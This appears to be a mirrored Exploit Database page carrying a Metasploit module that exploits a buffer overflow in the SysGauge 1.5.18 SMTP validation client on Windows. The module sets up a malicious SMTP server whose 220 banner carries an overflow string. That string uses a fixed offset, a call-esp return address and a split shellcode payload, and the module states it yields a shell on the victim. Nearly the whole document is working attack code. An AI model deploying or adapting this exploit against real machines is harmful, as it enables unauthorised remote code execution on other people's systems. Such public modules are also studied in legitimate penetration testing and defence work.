SysGauge 1.5.18 – SMTP Validation Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2017-02-28
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/41672/

• #
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  #
  
  class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::TcpServer
  
  Rank = NormalRanking
  
  def initialize()
  super(
  'Name' => 'SysGauge SMTP Validation Buffer Overflow',
  'Description'=> %q{
  This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
  via its SMTP server validation. The module sends a malicious response along in the
  220 service ready response and exploits the client, resulting in an unprivileged shell.
  },
  'Author' =>
  [
  'Chris Higgins', # msf Module -- @ch1gg1ns
  'Peter Baris'# Initial discovery and PoC
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'EDB', '41479' ],
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'thread'
  },
  'Payload'=>
  {
  'Space' => 306,
  'BadChars' => "\x00\x0a\x0d\x20"
  },
  'Platform'=> 'win',
  'Targets' =>
  [
  [ 'Windows Universal',
  {
  'Offset' => 176,
  'Ret'=> 0x6527635E # call esp # QtGui4.dll
  }
  ]
  ],
  'Privileged'=> false,
  'DisclosureDate' => 'Feb 28 2017',
  'DefaultTarget' => 0
  )
  register_options(
  [
  OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
  ])
  end
  
  def on_client_connect(c)
  # Note here that the payload must be split into two parts.
  # The payload gets jumbled in the stack so we need to split
  # and align to get it to execute correctly.
  sploit ="220 "
  sploit << rand_text(target['Offset'])
  # Can only use the last part starting from 232 bytes in
  sploit << payload.encoded[232..-1]
  sploit << rand_text(2)
  sploit << [target.ret].pack('V')
  sploit << rand_text(12)
  sploit << make_nops(8)
  # And the first part up to 232 bytes
  sploit << payload.encoded[0..231]
  sploit << "ESMTP Sendmail \r\n"
  
  print_status("Client connected: " + c.peerhost)
  print_status("Sending payload...")
  
  c.put(sploit)
  end
  
  end